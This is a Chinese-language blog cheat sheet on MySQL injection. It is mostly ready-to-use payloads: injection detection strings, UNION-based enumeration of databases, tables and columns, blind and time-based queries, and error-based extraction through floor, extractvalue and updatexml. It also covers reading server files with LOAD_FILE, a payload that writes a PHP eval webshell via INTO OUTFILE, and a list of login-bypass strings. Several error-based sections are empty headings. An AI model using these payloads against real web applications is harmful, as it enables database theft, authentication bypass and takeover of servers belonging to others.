mysql注入备忘录

mysql注入备忘录

基本

information_schema

1
2
3
4
5
6
7
8
9
10
11
information_schema这这个数据库中保存了MySQL服务器所有数据库的信息。
如数据库名,数据库的表,表栏的数据类型与访问权限等。
再简单点,这台MySQL服务器上,到底有哪些数据库、各个数据库有哪些表,
每张表的字段类型是什么,各个数据库要什么权限才能访问,等等信息都保存在information_schema里面。

information_schema的表schemata中的列schema_name记录了所有数据库的名字
information_schema的表tables中的列table_schema记录了所有数据库的名字
information_schema的表tables中的列table_name记录了所有数据库的表的名字
information_schema的表columns中的列table_schema记录了所有数据库的名字
information_schema的表columns中的列table_name记录了所有数据库的表的名字
information_schema的表columns中的列column_name记录了所有数据库的表的列的名字

查看当前系统版本

  • @@version_compile_os

查看当前数据库版本

  • version()
  • @@version
  • @@global.version

当前登录用户

  • user()
  • current_user()
  • system_user()
  • session_user()

当前使用的数据库

  • database()
  • schema()

路径相关

  • @@BASEDIR : mysql安装路径:
  • @@SLAVE_LOAD_TMPDIR : 临时文件夹路径:
  • @@DATADIR : 数据存储路径:
  • @@CHARACTER_SETS_DIR : 字符集设置文件路径
  • @@LOG_ERROR : 错误日志文件路径:
  • @@PID_FILE : pid-file文件路径
  • @@BASEDIR : mysql安装路径:
  • @@SLAVE_LOAD_TMPDIR : 临时文件夹路径:

联合数据

1
2
3
4
5
concat(str1,str2) //将字符串首尾相连

concat_ws(separator,str1,str2) //将字符串用指定连接符连接

group_concat()//

字母/数字相关

  • ASCII(): 获取字母的ascii码值
  • BIN(): 返回值的二进制串表示
  • CONV(): 进制转换
  • FLOOR()
  • ROUND()
  • LOWER():转成小写字母
  • UPPER(): 转成大写字母
  • HEX():十六进制编码
  • UNHEX():十六进制解码

字符串截取

1
2
3
4
5
6
7
8
9
left(str,index)  //从左边第index开始截取

right(str,index) //从右边第index开始截取

substring(str,index) //从左边index开始截取

substr(str,index,len) //截取str,index开始,截取len的长度

mid(str,index,ken) //截取str 从index开始,截取len的长度

注释

1
2
3
# (单行注释符,url记得编码为%23)
/**/
--(后面有一个空格)

字符串运算符

1、算术运算

1
2
3
4
5
6
7
8
9
加:+

减:-

乘:*

除:/

取余:%

2、 位操作运算

1
2
3
4
5
6
7
8
9
10
11
12
13
& 按位与

| 按位或

^ 按位异或

! 取反

<< 左移

>>右移

~ 这里位非运算符由于是在表达式之前的

3、 比较运算符

安全等于:<=>

1
'=0<=>1# 拼接的语句:where username=''=0<=>1#'

不等于<>(!=)

1
'=0<>0# 拼接的语句:where username=''=0<>0#'

大小于>或<

1
'>-1# 拼接的语句:where username=''>-1#

4、逻辑运算符

1
2
3
4
not或! 非  
AND 逻辑与 == &&
OR 逻辑或 == ||
XOR 逻辑异或 == ^

5、其他

1
2
3
4
5
6
7
8
9
10
'+1 is not null#  
'in(-1,1)#
'not in(1,0)#
'like 1#
'REGEXP 1#
'BETWEEN 1 AND 1#
'div 1#
'xor 1#
'=round(0,1)='1
'<>ifnull(1,2)='1

注入技术

判断是否存在注入

假设网址为www.xxx.com/test.php?id=1

数值型注入

1
2
3
4
5
6
7
8
id=1+1
id=1-1
id=1/1
id=1*0
id=-1 or 1=1
id=-1 or 3-1
id=1 and 1=1
id=1 and 1=2

字符型注入

1
2
3
4
id=1'
id=1"
id=1' or '1'='1
id=1" or "1"="1

联合查询

判断字段数

1
id=1 order by 11#

查看回显字段

1
id=11 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11#

库名长度

1
select length(database())

当前库名

1
2
1. database()
2. schema()

所有库名

1
select group_concat(schema_name) from information_schema.schemata

表的张数

1
2
3
4
5
#表张数 < 10
select count(*) from information_schema.tables where table_schema=库名的十六进制

#表张数 >= 10
ascii(mid((select count(*) from information_schema.tables where table_schema=0x74657374),1,1))=49

表名的长度

1
2
3
4
5
6
1.借助limit求表名长度的方法
select ascii(mid((length((select table_name from information_schema.tables where table_schema=库名的十六进制 limit 0,1))),1,1))


2.借助group_concat求表名长度的方法
select ascii(mid((length((select group_concat(table_name) from information_schema.tables where table_schema=database()))),1,1))=49

表名

1
2
3
4
5
6
7
8
1. 这种方法需要借助limit,这种方法需要注入出表的张数,也需要注入出表名的长度 
select table_name from information_schema.tables where table_schema=库名的十六进制 limit 0,1


2. 不需要借助limit,一次性列出所有的表名,这种方法需要注入出表名的长度,不需要注入出表的张数
ascii(mid(((select group_concat(table_name) from information_schema.tables where table_schema=库名的十六进制),1,1))=49
或者
ascii(mid(((select group_concat(table_name) from information_schema.tables where table_schema=database())),1,1))=49

列的个数

1
2
3
4
5
#列个数 < 10
select count(*) from information_schema.columns where table_name=表名的16进制

#列个数 >= 10
ascii(mid((select count(*) from information_schema.columns where table_name=表名的16进制),1,1))=49

列名的长度

1
2
3
4
5
6
1.借助limit求列名长度的方法
select ascii(mid((length((select column_name from information_schema.columns where table_name=表名的16进制 limit 0,1))),1,1))


2.借助group_concat求列名长度的方法
select ascii(mid(length((select group_concat(column_name) from information_schema.columns where table_name=表名的16进制)),1,1))

列名

1
2
3
4
5
6
1. 这种方法需要借助limit,这种方法需要注入出列的张数,也需要注入出列名的长度 
select column_name from information_schema.columns where table_name=表名的16进制 limit 0,1


2. 不需要借助limit,一次性列出所有的列名,这种方法需要注入出列名的长度,不需要注入出列的个数
select ascii(mid(((select group_concat(column_name) from information_schema.columns where table_name=表名的十六进制)),1,1))=49

值的个数

1
select count(*) from 表名 limit 0,1

值的长度

1
2
1.借助group_concat求值长度的方法
ascii(mid(length((select group_concat(id,name) from 库名.表名)),1,1))=49

1
select group_concat(字段1,字段2 separator 0x2c) from 库名.表名

报错注入

floor()

1
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

extractvalue()(有长度限制,最长32位)

1
2
3
select * from table_id where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

select (extractvalue(1,concat(0x7e,(select user()),0x7e)));

updatexml()(有长度限制,最长32位)

1
2
3
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

select updatexml(1,mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,10),1)

geometrycollection()

1
2


multipoint()

1
2


polygon()

1
2


multipolygon()

1
2


linestring()

1
2


multilinestring()

1
2


exp()

1
2


盲注

盲注场景

在许多情况下,通过前面的测试会发现页面没有回显提取的数据,但是根据语句是否执行成功与否会有一些相应的变化。

  • 正确/错误的语句使得页面有适度的变化。可以尝试使用布尔注入
  • 正确语句返回正常页面,错误的语句返回通用错误页面。可以尝试使用布尔注入。
  • 提交错误语句,不影响页面的正常输出。建议尝试使用延时注入。

布尔盲注-基于响应

1
2
if(1=1,1,0)
ascii(mid((database()),1,1))=97

xor异或注入

1
id='^(1)^'

延时盲注函数

1
2
3
4
sleep()

BENCHMARK(1000000000,"hello");
BENCHMARK(100000000,"hello");

tips

当字符串被过滤时,又没有回显的情况下,可以使用length('select')=6来测试是否有被过滤

insert/update/delete注入

这里主要是运用报错注入和盲注,都是老姿势

二次注入

文件读写

利用sql注入可以导入导出文件,获取文件内容,或向文件写入内容。
查询用户读写权限:

1
SELECT file_priv FROM mysql.user WHERE user = 'username';

load_file()读取

条件

  • 需要有读取文件的权限
  • 需要知道文件的绝对物理路径。
  • 要读取的文件大小必须小于 max_allowed_packet
1
SELECT @@max_allowed_packet;

payload

直接使用绝对路径,注意对路径中斜杠的处理。

1
2
3
4
5
UNION SELECT LOAD_FILE("C://TEST.txt") #

UNION SELECT LOAD_FILE("C:/TEST.txt") #

UNION SELECT LOAD_FILE("C:\\TEST.txt") #

使用编码

1
2
3
UNION SELECT LOAD_FILE(CHAR(67,58,92,92,84,69,83,84,46,116,120,116)) #

UNION SELECT LOAD_FILE(0x433a5c5c544553542e747874) #

不过在mysql5.7时候secure_file_priv为NULL,所以无法读出

into outfile

条件

  • 要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道
  • 要有file权限,默认情况下只有root有
  • 对目录要有写权限,一般image之类的存放突破的目录就有

payload

1
2
3
UNION SELECT DATABASE() INTO OUTFILE 'C:\\phpstudy\\WWW\\test\\1';

UNION SELECT DATABASE() INTO OUTFILE 'C:/phpstudy/WWW/test/1';

写入webshell

条件
  • 需要知道网站的绝对物理路径,这样导出后的webshell可访问
  • 对需导出的目录有可写权限。
payload
1
UNION SELECT  "<?php eval($_POST['cmd'])?>" INTO OUTFILE 'C:/phpstudy/WWW/test/webshell.php';

万能密码后台登陆

  • admin’–
  • admin’#
  • admin’/*
  • or ‘=’ or
  • ‘ or 1=1–
  • ‘’ or 1=1#
  • ‘ or 1=1/*
  • ‘) or ‘1’=’1–
  • ‘) or (‘1’=’1–

本文标题:mysql注入备忘录

文章作者:xianyu123

发布时间:2019年01月25日 - 21:57

最后更新:2021年10月26日 - 16:54

原始链接:http://0clickjacking0.github.io/2019/01/25/mysql注入备忘录/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------    本文结束  感谢您的阅读    -------------